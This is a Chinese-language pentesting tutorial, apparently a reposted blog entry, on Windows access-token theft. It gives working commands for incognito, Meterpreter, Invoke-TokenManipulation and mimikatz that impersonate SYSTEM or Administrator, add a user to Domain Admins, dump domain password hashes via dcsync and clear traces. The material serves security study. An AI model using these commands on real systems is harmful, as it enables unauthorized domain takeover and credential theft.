windows—令牌窃取

Posted Thgilil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows—令牌窃取相关的知识,希望对你有一定的参考价值。

令牌的定义

令牌是描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。

Windows下的访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效
以上简单理解就是, 当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。

Windows Access Token产生过程

用户使用凭据(用户密码)进行认证-->登录session创建-->windows返回用户的sid和用户所在组的sid-->LSA创建一个Access token-->使用凭据成功认证-->登录session-->token-->进程、线程

在获取到了服务器shell后,我们只能枚举出当前用户和比 当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
所以想要获得管理员的令牌,就需要对shell进行提权,也可以理解为先提权,后令牌窃取

在现实提权过程中,我们使用exp或永恒之蓝等能够直接提权到system,但假如我们利用mimikatz和hashdump不能获得administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell,从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)。

令牌窃取工具:

cs、msf、empire、incognito.exe

令牌窃取实战:

incognito窃取令牌

incognito.exe下载

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

上传incognito.exe到服务器可执行目录中
执行文件,列出用户的token

incognito.exe list_tokens -u

可以看到只有当前用户的token,无法窃取比当前用户权限高的token

切换到管理员账户进行窃取
可以看到获取到了管理员的令牌

使用获取到的令牌执行命令

incognito.exe execute -c "LG-85EFB2724B8C\\Administrator" calc.exe

其他命令

通过IPC远程列举tokens

incognito.exe -h IP|IP_list.txt -u administrator -p Password1 -g list_tokens -u

# 以指定token执行命令
incognito.exe execute -c "NT AUTHORITY\\SYSTEM" xx.exe 

# 指定远程登录的账号试图登录并列举所hosts.txt里主机所有的token,将test用户加入到域管理员组
incognito.exe -f hosts.txt -u administrator -p Password -n 20 add_group_user -h dc1.corp.target.net "Domain Admins" test 

# 指定域用户执行命令
incognito.exe execute "domain\\administrator" "cmd" 

# 清理痕迹
incognito.exe -h x.x.x.x -u administrator -p Password cleanup 

MSF窃取令牌

自己搭建实验的话可使用msfvenom生成一个反弹shell
获取到一个meterpreter后,使用 incognito 窃取令牌

##加载incognito
load incognito        
list_tokens -u

获取到了管理员的令牌

使用管理员令牌
注意:这里输入主机名\\用户名时需要使用两个反斜杠 \\

impersonate_token "LG-85EFB2724B8C\\\\Administrator"

执行完命令后,通过以下命令返回之前的token

rev2self 
##或
drop_token

Invoke-TokenManipulation.ps1 窃取令牌

# 列举token
1. Invoke-TokenManipulation -Enumerate 

# 提权至system
2. Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\\system" 

# 复制进程token
3. Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 

# 复制线程token
4. Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

Mimikatz.exe

##二进制文件下载地址
https://github.com/gentilkiwi/mimikatz/releases

执行文件,查看当前令牌

C:\\.....> mimikatz.exe
mimikatz# token::whoami

##列出所有令牌
mimikatz# token::list
##把当前权限提升为system
mimikatz# token::elevate

##模拟域管理员令牌
##搭建的机子未开启域,所以没有模拟成功
mimikatz# token::Elevate /domainadmin
##导出域控种的所有用户的密码 hash,如果没有没有权限会报错
mimikatz# lsadump::dcsync /domain:rootkit.org /all /csv
##还原令牌到初始状态
mimikatz# token::revert

参考:

http://t3ngyu.leanote.com/post/Windows-Access
https://hackergu.com/powerup-stealtoken-rottenpotato/

以上是关于windows—令牌窃取的主要内容,如果未能解决你的问题,请参考以下文章

Windows令牌窃取提权和烂土豆提权学习

Windows令牌窃取提权和烂土豆提权学习

Windows权限提升—令牌窃取UAC提权进程注入等提权

烂土豆提权(MS16-075)--令牌窃取提权

烂土豆提权(MS16-075)--令牌窃取提权

窃取 CSRF 令牌